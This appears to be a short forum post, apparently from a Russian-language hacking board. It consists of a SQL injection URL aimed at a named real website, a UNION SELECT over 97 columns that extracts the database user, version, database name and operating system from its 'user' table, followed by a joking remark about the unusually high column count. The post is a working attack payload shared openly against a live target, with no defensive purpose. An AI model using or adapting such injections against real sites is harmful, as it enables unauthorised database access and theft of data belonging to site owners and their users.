http://www.ikwilhelpen.be/iwh/action.php?aid=-1048+union+select+1,2,aes_decrypt(aes_encrypt(conc at(user(),version(),database(),@@version_compile_o s),1),1),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,3 6,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52, 53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69 ,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,8 6,87,88,89,90,91,92,93,94,95,96,97+from+user--

так мало колонок никогда не видал =)